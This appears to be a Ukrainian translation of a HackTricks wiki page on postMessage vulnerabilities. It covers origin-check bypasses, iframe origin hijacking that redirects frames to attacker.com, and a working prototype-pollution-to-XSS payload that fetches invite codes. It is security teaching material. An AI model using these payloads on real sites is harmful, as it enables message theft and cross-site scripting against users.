mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
16 KiB
Markdown
228 lines
16 KiB
Markdown
# Уразливості PostMessage
|
||
|
||
## Уразливості PostMessage
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Надіслати **PostMessage**
|
||
|
||
**PostMessage** використовує наступну функцію для надсилання повідомлення:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Зверніть увагу, що **targetOrigin** може бути '\*' або URL, наприклад, _https://company.com._\
|
||
У **другому сценарії** **повідомлення можна надсилати лише на цей домен** (навіть якщо походження об'єкта вікна інше).\
|
||
Якщо використовується **доменне ім'я**, **повідомлення можуть надсилатися на будь-який домен** і будуть надіслані на походження об'єкта Window.
|
||
|
||
### Атака на iframe та доменне ім'я в **targetOrigin**
|
||
|
||
Як пояснюється в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яку можна **вставити в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
|
||
Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але **targetOrigin** **встановлено на URL, а не на доменне ім'я**, цей **трюк не спрацює**.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## експлуатація addEventListener
|
||
|
||
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\
|
||
Будуть використані код, подібний до наведеного нижче:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Зверніть увагу, що **перше, що** робить код, це **перевірка походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
|
||
|
||
### Перерахування
|
||
|
||
Щоб **знайти обробники подій** на поточній сторінці, ви можете:
|
||
|
||
- **Шукати** JS код для `window.addEventListener` та `$(window).on` (_версія JQuery_)
|
||
- **Виконати** в консолі інструментів розробника: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Перейти до** _Elements --> Event Listeners_ в інструментах розробника браузера
|
||
|
||
.png>)
|
||
|
||
- Використати **розширення браузера** як [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) або [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ці розширення браузера **перехоплюють всі повідомлення** і показують їх вам.
|
||
|
||
### Обхід перевірки походження
|
||
|
||
- Атрибут **`event.isTrusted`** вважається безпечним, оскільки він повертає `True` лише для подій, які генеруються справжніми діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки є помітним.
|
||
- Використання **`indexOf()`** для перевірки походження в подіях PostMessage може бути вразливим до обходу. Приклад, що ілюструє цю вразливість:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- Метод **`search()`** з `String.prototype.search()` призначений для регулярних виразів, а не рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення в regex, що робить метод потенційно небезпечним. Це пов'язано з тим, що в regex крапка (.) діє як підстановочний знак, що дозволяє обійти перевірку з особливо створеними доменами. Наприклад:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- Функція **`match()`**, подібно до `search()`, обробляє regex. Якщо regex неправильно структурований, він може бути вразливим до обходу.
|
||
- Функція **`escapeHtml`** призначена для санітарної обробки введень шляхом екранування символів. Однак вона не створює нового екранованого об'єкта, а перезаписує властивості існуючого об'єкта. Цю поведінку можна експлуатувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає `hasOwnProperty`, `escapeHtml` не буде працювати, як очікувалося. Це продемонстровано в наведених нижче прикладах:
|
||
|
||
- Очікувана помилка:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Обхід екранування:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
У контексті цієї вразливості об'єкт `File` є особливо вразливим через його тільки для читання властивість `name`. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки.
|
||
|
||
- Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики однакового походження в межах одного батьківського домену.
|
||
|
||
### Обхід e.origin == window.origin
|
||
|
||
Коли ви вбудовуєте веб-сторінку в **пісочницю iframe** за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з **атрибутами пісочниці** та їх наслідками для безпеки та функціональності.
|
||
|
||
Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe.
|
||
|
||
В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою **`postMessage`**, як відправник, так і отримувач мають свої походження, встановлені в `null`. Ця ситуація призводить до сценарію, де **`e.origin == window.origin`** оцінюється як істина (`null == null`), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження `null`.
|
||
|
||
Для отримання додаткової інформації **читайте**:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Обхід e.source
|
||
|
||
Можливо перевірити, чи повідомлення надійшло з того ж вікна, в якому скрипт слухає (особливо цікаво для **Content Scripts з розширень браузера**, щоб перевірити, чи повідомлення було надіслано з тієї ж сторінки):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Ви можете примусити **`e.source`** повідомлення бути null, створивши **iframe**, який **надсилає** **postMessage** і **відразу видаляється**.
|
||
|
||
Для отримання додаткової інформації **читайте:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### Обхід X-Frame-Header
|
||
|
||
Щоб виконати ці атаки, ідеально, щоб ви могли **вставити веб-сторінку жертви** всередину `iframe`. Але деякі заголовки, такі як `X-Frame-Header`, можуть **запобігти** цій **поведінці**.\
|
||
У таких сценаріях ви все ще можете використовувати менш приховану атаку. Ви можете відкрити нову вкладку для вразливого веб-додатку та спілкуватися з ним:
|
||
```html
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Вкрадення повідомлення, надісланого дитині, шляхом блокування головної сторінки
|
||
|
||
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині** для **викриття даних** до їх отримання:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Вкрадення повідомлення шляхом зміни місцезнаходження iframe
|
||
|
||
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому якщо він отримує **postmessage**, надіслане за допомогою **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage до Prototype Pollution та/або XSS
|
||
|
||
У сценаріях, коли дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
|
||
|
||
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Приклад експлойту для зловживання **Prototype Pollution, а потім XSS** через `postMessage` до `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Для **додаткової інформації**:
|
||
|
||
- Посилання на сторінку про [**забруднення прототипу**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||
- Посилання на сторінку про [**XSS**](../xss-cross-site-scripting/index.html)
|
||
- Посилання на сторінку про [**забруднення прототипу на стороні клієнта до XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Посилання
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Для практики: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|